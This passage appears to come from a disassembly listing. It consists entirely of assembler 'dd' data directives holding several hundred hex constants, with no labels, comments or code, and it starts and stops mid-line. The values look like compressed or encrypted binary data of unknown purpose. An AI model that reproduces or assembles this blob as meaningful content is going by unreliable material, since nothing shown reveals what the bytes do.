0D0532DE9h, 63E036B6h dd 352E9F5Eh, 0CE061EABh, 385A318Bh, 0DB4EB0FEh, 0B8938798h dd 0A1F0C0F1h, 5EE569Eh, 9B70E645h, 364C1ADh, 343B71E4h dd 0C66E15Bh, 0F70032F4h, 4981FF87h, 95CDC1Dh, 86F23323h dd 1B5198F3h, 2C385A18h, 0AD130B77h, 95F001A6h, 8F3D06C9h dd 5ADD9150h, 23BA6A2Ah, 0A99C0119h, 20C6D74Fh, 0C79E83B4h dd 0D10D3162h, 628420C0h, 0D82B1381h, 9B704CD3h, 0F791758h dd 56F0208Bh, 5F5C6160h, 41BE1E47h, 6DB6092Dh, 1DD3C076h dd 5004BB6Eh, 1862C4D4h, 2BD73FE9h, 91523CEh, 0C86D2E6Fh dd 55601D64h, 597E708Ah, 2C892704h, 2CECC7CCh, 0E627BB8Fh dd 0D23B8065h, 1701A36Ah, 0F3B9B204h, 6D2CB0EFh, 268F924h dd 21918501h, 986A3BD4h, 9D1101D6h, 500FF465h, 58413AE9h dd 2915B93Ch, 7E2A98F4h, 0B4FD2DDAh, 232F322h, 0F48354h dd 0BE39CE7Eh, 0AB1ABF6h, 358D3113h, 4FB66022h, 0ED57412Ah dd 12CB789Ah, 0BE342550h, 0F2E09DB6h, 4EE98B3Ch, 0C71688ACh dd 49DE5F3h, 8D0561D2h, 8E127BD0h, 9125B1F0h, 9B6A6ACh dd 0CEC80AA9h, 0B2932175h, 40714D2Fh, 4F48F7ADh, 0C93B7C0Ah dd 17DEAB58h, 0C2B81DCDh, 69D90A16h, 0D8502F91h, 20EE5B03h dd 0F5B5314Bh, 8327129Ah, 0EF4FCDC1h, 0E4B04E80h, 8B2D2C82h dd 0BA4EAEF2h, 0DCAE7627h, 0CCDD5F00h, 892B2286h, 213D2D95h dd 0A9ED6FB2h, 4B2D0840h, 0DE41F732h, 636A2469h, 2F56916Fh dd 27F0F026h, 2CCB3A5h, 2505BD89h, 888B63D4h, 7E9BB20Eh dd 8D8B8671h, 6116E16Dh, 5DD8C32Bh, 9B37D745h, 9CF8197h dd 0F49F93CAh, 3A1A79Dh, 71873FEFh, 68707A36h, 0BA8B0Dh dd 0E5E0B3C3h, 27A1C94Ah, 95741C05h, 70B16797h, 2D213741h dd 0ADC3C39Eh, 0B8D1DAE8h, 6B85C725h, 427B90EAh, 67BE065Bh dd 405561FCh, 93B79Dh, 19A18357h, 0CD624102h, 0B0BC9D4h dd 5A924447h, 0C9B0D0A7h, 3A072B10h, 0B0835835h, 0BE988825h dd 0C1CF1E81h, 0FF38C52Dh, 885F9A85h, 3087C016h, 0BBECBFF5h dd 0B341AC2Dh, 54BEE138h, 0F6936F62h, 2A94A0DAh, 8EAB02BEh dd 50EB7584h, 54DB140h, 0BF1DE082h, 0DBE35E35h, 6818815Dh dd 60CA3B52h, 0D6279598h, 794FC959h, 71E7F0FEh, 44A2A78Ah dd 3E4A6018h, 2E3F3174h, 69C95DC6h, 1F7FB8F3h, 1D3DB53h dd 8D0FF2EEh, 2D21BB21h, 30D6C68Ch, 6E0F14E9h, 50001D75h dd 39277426h, 2780FCEDh, 6DB2CD71h, 17073741h, 0E00B8E66h dd 7823B3F9h, 9A002E82h, 44357E45h, 48718589h, 0C782F533h dd 955BAD04h, 71F8EA73h, 2CB83A87h, 962E019Eh, 8B2FC1CAh dd 0A24423C1h, 6AFE301Ah, 80A46705h, 0B4A8B509h, 0BC386D80h dd 0BA3E835Ah, 335E040Bh, 0A7F111BDh, 7C5E6DEh, 0DE831E44h dd 202A404Dh, 1017938h, 0DF5B4EF1h, 3F3A04EBh, 182358h dd 512DDEE3h, 369853BCh, 5F802FECh, 99BD3A23h, 2F07ACFh dd 0D0A4F7A9h, 10DC1B6h, 94D9F512h, 71585BA3h, 0A5011DE5h dd 0DA80E5C9h, 505E1102h, 10566027h, 8DD4B1h, 74D38B44h dd 0A19B51F2h, 5E714175h, 5F505239h, 61250D97h, 4B293DB0h dd 91F69795h, 470A859Dh, 59E68E55h, 0B51F1D24h, 93A2215Dh dd 0E5327888h, 0C2898450h, 6192000h, 75E8EEBFh, 2B9FB644h dd 4C9B78EEh, 48877A01h, 50FC98FFh, 5EB6EEBEh, 98B00CF2h dd 814A4F29h, 8182E8A0h, 0BF82D1B7h, 5765E7FAh, 0E0535C84h dd 81035ECEh, 6330AAD6h, 15A162Ah, 9C3A1185h, 37E89F59h dd 2E179A7Ch, 0B3C54664h, 8100A3A3h, 7CC30DEEh, 0BD5A037Bh dd 89A3FD95h, 0B22724Ch, 0BA401AB4h, 9119BE1h, 0D3FF69F9h dd 0EDC8C5Eh, 8359B9F8h, 56A42D21h, 0B59F4005h, 9EB60C51h dd 8570F9EBh, 0B207FCE9h, 29CCC970h, 707B5B0Fh, 1601E434h dd 0BD092ADEh, 28761D71h dd 14786C2h, 6760296Fh, 4AE7A812h, 4433F123h, 786BFDA8h dd 0F9E59D30h, 5BB9BD2Bh, 1AC752Fh, 11F1FB18h, 228A6D48h dd 23B9674h, 1EDCBD83h, 2D118CD9h, 0E9FB7261h, 0BD55C288h dd 0DF11024Ch, 0FF40EBA7h, 0C28205A5h, 0A83A0DF7h, 34E8016Dh dd 0F50479FAh, 0E997029Fh, 8B05DBB9h, 642A85BDh, 7AF08937h dd 8500876Eh, 4ED34501h, 80900205h, 288DC084h, 59B84E60h dd 0AEE513BCh, 4E65F76Ah, 0EC00916Ah, 0DB0591EDh, 4E2C90DDh dd 512516C4h, 0ACA992D3h, 877B5A07h, 7591212Dh, 168C2E2Ch dd 0F88825C2h, 0CDF66A9Ah, 903B2210h, 0A250F397h, 21D00012h dd 86A0161Eh, 54EF0BBEh, 0C0290CBh, 870E33E9h, 53090409h dd 337978EDh, 9965E000h, 684AFAB8h, 230F60E8h, 0BC72F6E9h dd 82C65400h, 51EFE146h, 0AD1C120Eh, 8078EC29h, 0D6E2CD43h dd 0A2640E0Ah, 0A660FAE0h, 7B07D1A4h, 0E6C4B24Eh, 0C5E0D2F6h dd 0A72D7D5Fh, 6D478259h, 70E60216h, 77C375Dh, 0A7C8F836h dd 71E4728Bh, 72DCD754h, 898EB70Ch, 0A3002477h, 89707C64h dd 0D8B606A0h, 49837BDh, 0F5144D2Ch, 256F6FEBh, 8BEDBC0Bh dd 1DD1E9F9h, 9C03CD18h, 0A0394045h, 0C6D9043h, 59B51303h dd 42F2C929h, 0B555354Bh, 801A9132h, 0D1CA97D2h, 10CE710Dh dd 4AFFB70Fh, 860493B2h, 87959ADEh, 0F83934C4h, 0BE5E0088h dd 1083A63h, 2E39BA93h, 26D46D3Eh, 9C161334h, 9301C7CCh dd 3EEC8158h, 81311A26h, 541EFF8h, 0FE796F30h, 0B8ABFD93h dd 0A7E927DDh, 2661371Ah, 0D63639F6h, 0AA0F9A6h, 4500FE77h dd 0D86C1DAh, 59B59D29h, 0D6016C2Ch, 16E9190Bh, 446F2EB0h dd 0C58BC616h, 608F0BB6h, 11214C02h, 0ACC88000h, 968AB661h dd 0B09BF7CBh, 7CD72A1h, 0B509C9BBh, 0D1523B89h, 9D0D216Ah dd 1B5F5689h, 5C8AD281h, 335381F0h, 21945B5h, 5672415Eh dd 7AF14291h, 379F4F92h, 0FCAA0512h, 0B5CE8037h, 6E9110C9h dd 40B7EFA7h, 0CD304FACh, 0D6A0BF04h, 42804E67h, 2D5229C6h dd 35A261F3h, 6BFC011Dh, 0E174F4h, 607559F3h, 0C2BEF08Bh dd 312793EEh, 0F8A5E661h, 83F8127Bh, 0BC24FDC1h, 647100F9h dd 81185C83h, 0A01C6F7h, 4DBE42F3h, 0DADEA650h, 42B44561h dd 3DD8FEEAh, 29FA23A2h, 0D18DAAC5h, 0B0B98D93h, 4C40AF96h dd 73512E61h, 6B8B3069h, 1B918D9Fh, 32E06A80h, 0CC00D8EFh dd 0ABE3BB3h, 0B754FADFh, 116527B8h, 12B5B80h, 10E681C3h dd 6D7A49D7h, 13238E2Ch, 6AE896A9h, 0E9EF3B13h, 0C08B8BD1h dd 0A9B8DA7Dh, 0F28BCE16h, 0C9FC23D5h, 6ED4B80h, 2E02FC73h dd 36129DECh, 5F10427Fh, 2D5A2D89h, 25CD9509h, 0C0976D1Dh dd 0DC909B1Ah, 89E74105h, 6DAC618Dh, 14A26943h, 162F6031h dd 2D4A8F95h, 603D4F35h, 30C7B338h, 60A8B500h, 8D31B6B1h dd 0E7044A0Dh, 0B4045E0Bh, 0EED990E0h, 7AFA207Ah, 48009517h dd 5030FCFDh, 139D4F3h, 8326690Ch, 2B5FDC66h, 43B688h dd 9FB1BB15h, 81D50D2Eh, 9B4CE3Ch, 765F46DDh, 25B5C1E3h dd 0DB900227h, 0AB887053h, 4C6DE000h, 8B7BAEE4h, 93214EB5h dd 0A3FFC735h, 0F9E2045Ch, 0BD031F40h, 4842095Eh, 7E1341B5h dd 8D01852Ah, 0E23B88F5h, 0A566DE0Eh, 0C9BA6012h, 45E96183h dd 0D8D6C009h, 9E551D03h, 0FC9BE230h, 0F6B8F9BDh, 0C5D38A05h dd 0B0C29B0Fh, 68B1012h, 11380DD4h, 0BD0920B1h, 7CC925DDh dd 20CE161Fh, 36B42B31h, 93892440h, 2CCF1FDAh, 9944C09Ah dd 64E988B9h, 87D181BFh, 44212866h, 0AECF0440h, 84095CB7h dd 287570D9h, 0C0335850h, 0E8813C2Eh, 2A880064h, 3023EB6Ah dd 223F66B1h, 0BE05FECBh, 5C325211h, 0F495F40Fh, 0D1D3527h dd 70C46Fh, 0F24038A1h, 0F80AE945h, 0B17FF71h, 0ADF40DBDh dd 187A1C1h, 9F1F314h, 688DBD31h, 0B4FA8B87h, 4C7969A5h dd 0F8A661A7h, 0C9998214h, 6F278454h, 0B974087h, 48A2870Fh dd 7B0A19D4h, 0D91F86Ah, 0A7905027h, 127D8A7Fh, 5F7B1118h dd 572A42AEh, 0B0A0A019h, 0D72792A7h, 789CB233h, 6A37B795h dd 505EC204h, 3F84CCFCh, 5D7AAB58h, 0B6DA8803h, 0CAE15D46h dd 0B58D41A8h, 6ADB24E9h, 838EB7B7h, 214ED707h, 0FBF6E7F8h dd 51349F05h, 0CF88B529h, 0AF4C9F5Fh, 8CB061B0h, 29617A9Eh dd 53E3D95h, 0DBD3FFB4h, 0EC1CC198h, 203A4A0Bh, 0FDDE733Dh dd 0A57FA200h, 92E231A7h, 9F660E44h, 0B8855760h, 2FDC5DBh dd 6199491Ah, 1BD81D1h, 1254409Ch, 383E42E9h, 2A414CF0h dd 85F25A3Ch, 7AD87C53h, 219116F1h, 65CD318Dh, 557EC81Fh dd 51887102h, 7ED13EF1h, 3B021081h, 0A59DB85Fh, 0D026DB07h dd 8300D64Dh, 87855A56h, 1633A4DDh, 9D08C1BDh, 0F1E6B78Ch dd 5FF05604h, 5F412DC1h, 0ABA29324h, 20603D7Bh, 0A68F8305h dd 0BB720F0Ch, 8BD5EE44h, 28CD62EFh, 1A11BBD1h, 0A9ED7150h dd 4A6AE9E6h, 57E840h, 0D7E63EACh, 0A1A0A227h, 6EB85EF7h dd 69012781h, 1DD3EC71h, 0DFF79C57h, 4DE9CDE8h, 81B45E1Ch dd 0FB1280C7h, 0E7C25049h, 6017E466h, 509FAFDEh, 12D6D91Ch dd 358D0DBEh, 0E2890B1Bh, 0B525A545h, 0CF5D0744h, 61A25069h dd 98B430E1h, 0E489092Dh, 1249497Fh, 0C7005DF8h, 49984A8Ah dd 62586916h, 991C207h, 2989D251h, 1610F285h, 628C0F50h dd 0F3D6691Bh, 0C21CEB9h, 5EEA45E9h, 3B09F403h, 81986EE8h dd 0B05045E2h, 776F3Eh, 7FF73ADDh, 51FF1E0h, 15850111h dd 0E773A72Bh, 0EB740A30h, 0C4E54C45h, 70D4174h, 2119482h dd 70F871E4h, 4D2B7CB2h, 204BD6D1h, 6EA2BFB6h, 8B2DA770h dd 0E137C3h, 91851442h, 8B27E4EDh, 0F6C80AF0h, 0C50C1109h dd 0ED7B27A9h, 1CF9B058h, 425793FAh, 5F5EF18Bh, 0BF014254h dd 1C40D6FCh, 2045572Ah, 9C7597C0h, 7EA9AD04h, 57A844B1h dd 4D87884Ah, 7C544200h, 88A4EFCEh, 0C21002EAh, 0F93DC087h dd 93956354h, 3A3BCFCh, 20698E36h, 1BA8CC1h, 78D4125Dh dd 0BDB5E27Bh, 1491BC9Fh, 5456C48Bh, 9E10E808h, 884C0E5h dd 5E7F353Bh, 0D69E8300h, 93476ADEh, 251C9AD8h, 41B3779Bh dd 0D1F39227h, 0D6E0AE21h, 31840A04h, 0CD81AD21h, 142C19BBh dd 527F809Dh, 81FE9B38h, 50D65A24h, 7A6B725h, 0E74356BAh dd 0AA3451EFh, 1759692Eh, 0F691024Ah, 8C2A1D75h, 14E18FD3h dd 19A8A3EDh, 5F02028Ch, 84BD3BD0h, 0E322EB56h, 40F4CF9Dh dd 4A41C9AAh, 0A3EA8D00h, 0B0605597h, 886158E0h, 0A6118516h dd 62A64B87h, 0EDA308B0h, 1158E77h, 248FB595h, 18AFD05Eh dd 208D8995h, 0DCA00AE9h, 6572F681h, 0AD46C128h, 2C0BAD4Eh dd 7033F358h, 1B097534h, 70B64C17h, 6BDC27B9h, 65E0B413h dd 4A00B34Dh, 0E3B58D57h, 2A29061h, 0A97C2514h, 0A4D25E6Fh dd 128B5144h, 0ED07B9F2h, 98ECED66h, 0C18325C6h, 4D786A5Bh dd 4BF55A63h, 5E560389h, 1B467Ch, 3883A079h, 2DB5D142h dd 0AA09F51Fh, 928269B7h, 0C02DD9C9h, 822A81A7h, 0B3986F60h dd 0A244BAB4h, 0C456604Bh, 33481710h, 6061DF16h, 41BD31CBh dd 545B02FFh, 3AC13D74h, 0EC485C20h, 0E7DB0037h, 85BF937Ch dd 985C9C6Ah, 0A6240F25h, 2BC082C6h, 0DC6F7CC3h, 0C59C4D01h dd 8161C232h, 49C4143Dh, 12B11704h, 0E9B1CBA7h, 34E0162Bh dd 0B611E9F0h, 1C60F16Ah, 7EA58442h, 89C08154h, 3E33E995h dd 85C7FB31h, 119C412Bh, 30186B65h, 431AD7CBh, 5E38168Eh dd 0BE3F40EFh, 0BD006166h dd 3A53F022h, 4121B529h, 289A2A08h, 91C2E22h, 79E7A19Dh dd 5CB96881h, 0B7091646h, 1C026BE4h, 61C5AAC7h, 40A1ED2Dh dd 8DCB9769h, 0CE9A6109h, 9FEFD95Dh, 0DCE91509h, 0DAAD745Eh dd 0C100DC4Fh, 0D51E7EECh, 4F639890h, 0A8BF1535h, 0ED12E3BCh dd 0EAF6EECEh, 29BAF0E7h, 6D066A3Ch, 7456B53Eh, 24CD2594h dd 10D57A22h, 30BA5704h, 259A8E05h, 33AF6201h, 0B773DDEh dd 1FA99C8h, 0E907DF31h, 0CE5EFE8Bh, 0D5671377h, 14B8AC8h dd 0A7D64958h, 7BCAD028h, 6427A36Eh, 4E0172C4h, 2F018F74h dd 6979FA8Bh, 874E0CB8h, 0C780109Bh, 7F0F6997h, 10457A90h dd 0FCFA206Bh, 77003F93h, 63F9BB9Dh, 0A9B4EC57h, 0E90102B5h dd 0CD113EEDh, 0B30AC41h, 8AC60CC0h, 1E25AB02h, 0EDF8100h dd 24AB2FCAh, 0BF60FF40h, 0D33A8804h, 0CEB1B925h, 709D5BCAh dd 51002C1Ch, 0E181674Dh, 99888DD0h, 0AC0B81BBh, 0D0536221h dd 0D2C3FA9h, 7E00F05Ch, 0C1230ADFh, 0C8FC4BADh, 32160843h dd 0C300EB47h, 0DD1C1EA7h, 0E18D2621h, 820F89A0h, 0B737E0FAh dd 10F41CC8h, 5C14915Dh, 5CA681ADh, 3CFC106Dh, 0D5F70090h dd 7C113451h, 293C1E15h, 2F0A5E9Dh, 6DA5348Bh, 754EC17Eh dd 2A91718Bh, 0E1831302h, 0B4074301h, 2E14A153h, 4C5EC851h dd 17BD1412h, 0D281B01Bh, 29310598h, 0BE606178h, 1B2F3D1Ah dd 94444AE0h, 0E88C161Dh, 8C1DFC81h, 19D41300h, 0FE0BD3Fh dd 0D9311D8Ch, 686DDF33h, 13AAB531h, 80C6032Bh, 0D64123F7h dd 0B8977D3Dh, 0F1920131h, 0DEE6C739h, 0F15C61FAh, 0BF6B852Fh dd 0D0CC5698h, 0A31B0061h, 0F03309D6h, 8E3B637Ah, 4685006Ch dd 893821E2h, 0D85D4DBDh, 93AF5829h, 0EDE6E924h, 390ECC8h dd 0BB66B007h, 0FA420C38h, 0B8BD5D89h, 4F5900BDh, 0A354C787h dd 0F2DB7D9h, 203DEC89h, 0B482555h, 492920F1h, 1D202C61h dd 7C8A6058h, 8543825Dh, 0F2E49D2Bh, 5A83A661h, 0B076A72Ah dd 25298FDh, 7DBB918Bh, 8D039E6Bh, 60692D0Dh, 27002E37h dd 0B0FCCB68h, 0A75199BAh, 64C3E0CDh, 3D55A04Ah, 5CF048FCh dd 0F96D565Ah, 0B52B8C3h, 134E09Ch, 1A0C9E84h, 0A4695456h dd 0A1D91E2Ah, 0B4293720h, 3497BCC4h, 1409F07Eh, 0A0D950D8h dd 0B2F40200h, 58B9C9h, 7F3ED737h, 69FEB321h, 0C25FB02Ch dd 31135122h, 3729D5BDh, 91499DEEh, 0B4DE8018h, 90BA1337h dd 5F2D60D8h, 2CE4A6BFh, 125A194Ch, 0C652F0Dh, 74A817FDh dd 13831A48h, 7F700211h, 1071F681h, 5D10C586h, 0F040566Bh dd 5F793D40h, 1CF9209Ch, 0EE18825Eh, 71604760h, 0DAEF9F28h dd 9B945640h, 0D0A0639Ah, 4F2AF58Dh, 95EC5D8Bh, 0D301A92Bh dd 4D49259Ah, 0DB97E2EBh, 0C0F74740h, 0BB11CD05h, 675D8BFDh dd 2236D195h, 51BFEC03h, 0B22DDBD3h, 6F01A0B8h, 9C3BC1E9h dd 0C7D0F480h, 0E9159685h, 0C9804137h, 0BF15DF0Fh, 0C2803917h dd 61C88B89h, 0B9C0BBCDh, 0EEBE4ADh, 0E99D6107h, 0C02B9E17h dd 762D75FEh, 0BB571CC8h, 0DB3B520Bh, 0B958984Eh, 0A7390991h dd 0F18041D5h, 0C18BC425h, 0B02A6056h, 5D0BFF8h, 0A76ABEDBh dd 0E8EDEDCCh, 490A008Dh, 0B5179A90h, 0F555BD83h, 975C0EEh dd 3AD12C4h, 50197441h, 0B8708B53h, 898EC038h, 0B713E285h dd 0AA9E6721h, 0E7052A17h, 2267585Bh, 0EE2021E8h, 0EDC9A748h dd 0C767C0AFh, 0E42EA1F4h, 991124ADh, 259D0109h, 76C8FEADh dd 1F2AE118h, 629D2360h, 49BD4B2Fh, 0E8181E50h, 95DB0905h dd 96174185h, 0F45345E6h, 5DB831E9h, 0F1B70F18h, 88346D6Ch dd 3DB508CFh, 3FB00EDh, 33920B34h, 885CD304h, 0CBB4820Fh dd 6F800CB9h, 0FF7A737Fh, 2F59C4C4h, 13157AAEh, 9B12C822h dd 6FE851D0h, 0F4B1BE08h, 526C7F1Eh, 0BF0A2993h, 0D45B502h dd 0BD1FF75Fh, 396D2A59h, 970AEB15h, 0A23B171Eh, 0A191EC05h dd 0E912224Dh, 9A87DED4h, 8C1758C4h, 0DAC3D3D0h, 0B2F650DFh dd 2D192C85h, 0E1EF65Bh, 0FC820912h, 0DF07E6E8h, 3F24BDh dd 586D344Dh, 5AD6278Bh, 0F2C2C885h, 0BA3BE00h, 6CCAC8B3h dd 60AF2EFh, 2B5B7A78h, 0F14BC8A7h, 84ED6C23h, 959CE806h dd 6AB95301h, 5E11C6C7h, 33ED308Bh, 0F48674h, 0A8587421h dd 0C1B9D08Dh, 0D781EB03h, 0E030F7A3h, 9F0760E8h, 0AB420E4Fh dd 165F7EB9h, 11960534h, 0B5FA2108h, 0A0DDA502h, 0E51CC6F3h dd 2B7600CEh, 60DBE2F0h, 9D1089AAh, 591D17F1h, 0B29374E8h dd 42B3007Dh, 0B4D4404Ah, 7D1618E5h, 23E16298h, 0FD8F793h dd 0A7BCC050h, 0DBE85EFCh, 13790664h, 0DAB27740h, 3B076BC8h dd 2D33948Eh, 0D201E831h, 32EB93ECh, 218AC26Ah, 18B73758h dd 0F3B2E85Eh, 84B0DE2Eh, 988139A7h, 0AA492A99h, 7A2F23E5h dd 3733003Ch, 51640F48h, 1D913115h, 122B35B0h, 65162C5Ah dd 0B485E697h, 198D9F8Dh, 5432F25h, 236FFBh, 3E73082Ch dd 0B56F263h, 50DAD2CBh, 76B37C76h, 0B36A8609h, 40B378ACh dd 870BE70Bh, 4000DC33h, 0D57CA95h, 31228400h, 0A43C2397h dd 24C22E87h, 5FFA02E5h, 0D06AD6E8h, 1DCBCF4h, 0C53EFD42h dd 7DE960CCh, 0B8340775h, 20BFEC4Fh, 6159518Ch, 0D2939D8Bh dd 2CBDF210h, 151F24Eh, 0D6305267h, 75EE6448h, 3341F910h dd 5AE9B525h, 4A7CFC42h, 80959E05h, 0EC99B16Dh, 0C6494A76h dd 2AEC9032h, 7083CB83h, 0A2BE0F5Fh, 0E8879253h, 0C756BB42h dd 6EDB00F4h, 93122829h, 0D262B1F5h, 733A974h, 4E54AB60h dd 72C231C0h, 0B0612F78h, 2BCBFB61h, 5AA41A10h, 0DA3FE1B5h dd 0CF1C885Dh, 27192CA0h, 7C0397C4h, 8D0F41A3h, 0F5250901h dd 0DD82C38Bh, 3F5F0E09h, 0DB06807Dh, 710FFBC4h, 0D7C4F95Bh dd 3EA56EBAh, 66E381F6h, 11E948BCh, 59CBB310h, 86BD9D00h dd 2BB5C5F1h, 305B0269h, 5F254979h, 0EF001B56h, 52C30483h dd 53602550h, 79F9ED90h, 22BB1000h, 1FB85BCEh, 7CF7127Ah dd 4891F861h, 91D16DEh, 0DAD5FFADh, 0B19060BCh, 1D987E13h dd 940034E2h, 6971E4B5h, 0D1F85F11h, 0BB519217h, 0A87AB0E8h dd 3C2FB9FCh, 5B2F6460h, 97C0B04Dh, 26C7F9h, 3506001h dd 958DA63Bh, 7627D920h, 0ED656E89h, 387B1AC9h, 13CA70h dd 9A9349DFh, 81606D28h, 3AF1CB0Eh, 0CE8A45EAh, 442AE04h dd 0B5B88DEDh, 0BF2C4202h, 50A8F3E4h, 0B5286265h, 0BE789D85h dd 1AD8D3h, 0DC10F40Ch, 6AB4E1B5h, 173634DCh, 0E2058C0Fh dd 0FBEF17B2h, 0F41A770Bh, 6648DCE6h, 0EC78C063h, 9DF547h dd 9B7EB3A1h, 146F55F4h, 5357500Ah, 0EDA79873h, 0BF49C02Fh dd 1D28A23Bh, 0D929F167h, 2F399107h, 40126F27h, 6111B302h dd 0EFB4760Bh, 5BCF526Ah, 7816E1Ah, 9096E06Eh, 0D20BF4F0h dd 0FA4EDA1Ah, 39E430CDh, 59BD65C0h, 50748213h, 137F2B14h dd 0CBF919D1h, 0CD12EEE8h, 0D1C755Fh, 9BFCD722h, 805D80DFh dd 0B06EB1C8h, 0F9CB68D3h, 2C00DECCh, 4F49135Ch, 0C4307AF7h dd 0FF059DECh, 8D00AC7Ah, 86C9E9A7h, 0BD699245h, 702673E8h dd 1900BEA8h, 8C968471h, 35BF668Eh, 0B9F1B6A4h, 0CADB8DBh dd 0DDBD3151h, 0F2C45EE5h, 25A72C69h, 0F00CEAA0h, 6BD1D1Dh dd 0FCF31FC6h, 0DCF99EF6h, 7A00E978h, 14659C2h, 831DD1B5h dd 36EF75Bh, 0FC85B02h, 922068Fh, 0F6A8FFBDh, 19C10980h dd 66D02B73h, 32F5345Ah, 0B874ADF4h, 135E388Fh, 8BA67686h dd 30B6EDCAh, 0C21601DCh, 0FC7A05Dh, 4D1BB880h, 0C80C2C61h dd 20E700F6h, 0AC1AFCDFh dd 9897890Fh, 8B1119DBh, 31F284FCh, 0F29995B4h, 1053E0BAh dd 73ADAC50h, 456F0079h, 0B8641871h, 155B8D03h, 8ABB5FF4h dd 66B78DDDh, 0A8B8042Dh, 8D8B38C1h, 9F7B115Dh, 98C19C16h dd 22C1BD01h, 0C8B2CF7Ah, 5C77C116h, 9DAA708Ch, 0A77A335Eh dd 40EC2300h, 6617AAA6h, 0D392B91Eh, 0DE08E4h, 0DF6F6694h dd 0C58A3DB5h, 0C0CCCD95h, 4D950131h, 0E5E2284Bh, 8BA58404h dd 0C09BDBC0h, 0BE944B4Fh, 290A006Dh, 0FBF681ACh, 665B0188h dd 0A110B97Ah, 0AB058402h, 2D20426Ah, 96B994A6h, 7901D42Dh dd 88C04C09h, 0B876870Fh, 2282E90Fh, 4948E47Ch, 3F074AE4h dd 0A93E792Fh, 0F1068BA0h, 24C30745h, 0CD74AF2Dh, 2A537AFAh dd 0E100827Eh, 84B9EDE4h, 0B700431Eh, 2FBB57A1h, 0B70A863h dd 0DF8B505Bh, 6EB40270h, 0E52107DCh, 0DA999D89h, 0C7C22D55h dd 4A3C35F6h, 58F09FA6h, 0FD144A91h, 11DE2EF6h, 17761011h dd 0ED1944B4h, 5CE9BCEFh, 0DE17FD79h, 9765BC23h, 202B5EA1h dd 0FE906DD5h, 0B463A800h, 3D370EFAh, 54C50216h, 8E257A9h dd 0EAA005E0h, 60CAA4A3h, 8B64985Fh, 9F6150C1h, 5B6D9F04h dd 86B4DFE0h, 0CC151C5Ah, 0AF9994FEh, 0B715E18Eh, 0EF19D985h dd 0D7C8B975h, 88E28Bh, 0BE41B53Bh, 0CDC6D70h, 0EC692201h dd 8D8A7766h, 0B190F7C6h, 0D12DFFFAh, 8340457h, 0B0025F09h dd 0E10B2DB5h, 0DE6E5BB8h, 8696C7CCh, 199A0AC0h, 3DC6C555h dd 3ED9A534h, 26AA044h, 0FD79C8Ch, 44E66D82h, 0B8F22580h dd 6F0B05EDh, 49490484h, 547EDE57h, 8A406F23h, 221D5E4Dh dd 0E901077Ch, 2C7B0E8Eh, 4440BE72h, 0DFB62460h, 92E002E6h dd 866D6121h, 0E6BC84E0h, 0B6F609F5h, 6101440Ah, 6B1888F9h dd 61C0C5DBh, 0D0F86E08h, 90F5BA19h, 0E2F6FBEAh, 3E14D709h dd 0EB093E00h, 75EAA7F8h, 0DCA80171h, 2B255D79h, 5C9B3F90h dd 50D39787h, 60CC37C7h, 32D8B507h, 3BB0DF81h, 17FC38BDh dd 0F835FF64h, 8C14FC41h, 246C959h, 89648467h, 95C5925h dd 9F409185h, 0F90BF781h, 0F01C2BD3h, 0AD679768h, 0A76017C4h dd 730102A3h, 0BB66FF6Ah, 5BCC77F1h, 0F44F725Dh, 691F95B5h dd 28801C91h, 37F18811h, 8C0C4604h, 44C1513Ch, 277F1005h dd 14088420h, 10120E3h, 0AD0FEF81h, 3FFC1213h, 0A84FE99h dd 9571E4DBh, 34EAAD05h, 3AF87BF3h, 63E8D680h, 0F01C274h dd 9D0BC8B6h, 0D4691D19h, 8B0FC8Ah, 66240461h, 0C995093Ch dd 616B7610h, 0D0A85BDh, 0F159216Eh, 0E0E5DDDBh, 580CA120h dd 32C82B4Fh, 550D65B9h, 28A2D1h, 0CEC327AEh, 276D0E4h dd 7E233955h, 7CD1DD8Bh, 0F1850103h, 0B43F7622h, 2251AF02h dd 0D18D8984h, 20F680C9h, 0CFB8B469h, 86AC9A0Eh, 469DC002h dd 0FB39EC4Ah, 0A307FC30h, 0B40A409Bh, 6B6502C3h, 0D03B5916h dd 5211A484h, 28815305h, 0AE8165AEh, 0D3349B09h, 98CA6A1h dd 897933F9h, 0AF298488h, 4BC0A610h, 95EA4700h, 0A6F5162Dh dd 0A5832835h, 8AFE0B24h, 7C4489FAh, 85B5090Dh, 27C28903h dd 0D834B18Dh, 0BD229F18h, 856A95F3h, 2DB09366h, 0F6D10FDh dd 49601CE4h, 0DC018C2Ch, 4D1FFD3Dh, 73D8BF55h, 290E0CBAh dd 0B9B5AD8Dh, 0DB07AA27h, 0CB16D090h, 0F9841200h, 640941A6h dd 0F5C8A1DBh, 7898CBA7h, 0FA14F8BBh, 25BC0C3Ch, 6764FCh dd 0DB3D1A8Fh, 32353495h, 5D2D5202h, 0D6E8FCB1h, 881D8015h dd 56A7246Dh, 0C9B3600h, 0EE39D653h, 0E9C60D8Dh, 2A7AE1FAh dd 2B14C6A2h, 4179F7C0h, 3AD2E11Ah, 8A00106Eh, 4655B5E7h dd 3E01F3B2h, 33ADF8E3h, 4C80D1C2h, 4E983D0h, 6D9DF475h dd 58A0CF7Ch, 0B874C138h, 35C80F62h, 68000B22h, 880D7BB5h dd 417A2BE1h, 8BA4B93Fh, 0AE27132Ch, 5E17157Ah, 7E57B0D4h dd 9CCEAB17h, 0B45044B3h, 9C509ACDh, 8026DCC2h, 0D501F0F8h dd 0C28B50F1h, 6F0318C8h, 2A1D08C1h, 5819CAB9h, 0DC09D633h dd 743EE380h, 8B07DC4Dh, 69A1B392h, 0E25EC722h, 803251BBh dd 1538AEBh, 69BF49BDh, 286B8682h, 142CC4E6h, 5F011717h dd 0C6BE9F01h, 0A9E9E0EAh, 4558218h, 9D209025h, 0B8810D79h dd 16A2E266h, 9FE9133h, 8DEFAE82h, 0AAE88B6Bh, 0A8791BF7h dd 4F4F9EF4h, 0DA042B7h, 92762707h, 0A8B6F195h, 21255FC7h dd 10A8113h, 6E3BE1FFh, 0C8A10BB6h, 0D9B00598h, 11159D04h dd 2A051C31h, 4700717Ah, 744FB07Fh, 0A829019Eh, 0C13C318Ch dd 0DE442AD2h, 85EAD850h, 2F082641h, 4A1A9003h, 0B0FAA7A1h dd 0AD9E698h, 699D011Ch, 0C6E894BBh, 90AC6C80h, 2A5C9947h dd 5BD80B55h, 2E179860h, 3BC701B4h, 5EB7F26Ah, 0D7127B4Bh dd 6D053F6Fh, 0FA950975h, 0E1805345h, 8CF0D4B6h, 0BFA0C90Ah dd 0CFB501ADh, 28F14032h, 402C860Ah, 0EF604630h, 5335B7h dd 32F05B29h, 0E2441EDFh, 9D4E6FB8h, 